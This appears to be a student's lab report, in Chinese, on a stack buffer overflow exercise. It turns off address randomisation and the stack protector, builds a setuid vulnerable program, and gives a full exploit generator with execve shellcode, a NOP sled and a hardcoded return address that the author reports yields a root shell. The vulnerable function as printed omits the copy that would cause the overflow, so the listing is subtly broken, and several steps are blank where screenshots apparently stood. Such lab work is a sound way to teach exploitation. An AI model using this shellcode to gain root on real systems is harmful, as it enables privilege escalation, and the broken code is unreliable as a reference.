20155332 缓冲区溢出漏洞实验

20155332 缓冲区溢出漏洞实验

• 更新之后进行随机化初始地址分配
  

• 禁止不能在这个shell中保持root权限，也就是调用shell是能够同时保存root权限。

• 为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替 /bin/bash

• 

• 进入tmp目录下运行文件
  

• GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用

–fno-stack-protector 关闭这种机制。
-z execstack 用于允许执行栈
chmod u+s stack 需要root模式下进行
-我的代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];
return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;


memset(&buffer, 0x90, 517);


strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x94\xd0\xff\xff");
strcpy(buffer+100,shellcode);

badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

• 进入gdb调试模式，查找首地址
  -
• 取得shellcode在内存中的地址0xffffd030
• 算出地址0xffffd094
• 键入exploit.c文件中
• 
• 运行成功，获得root权限
• 

练习题

• sudo sysctl -w kernel.randomize_va_space=2 后初始化的首地址发生变化变为这个了0xfff824d0，这攻击进入的地址为0xfff82534，如果不进行地址更改而直接攻击的的话必定是失败的
  
  -出现了段错误
  还没有找到解决方法。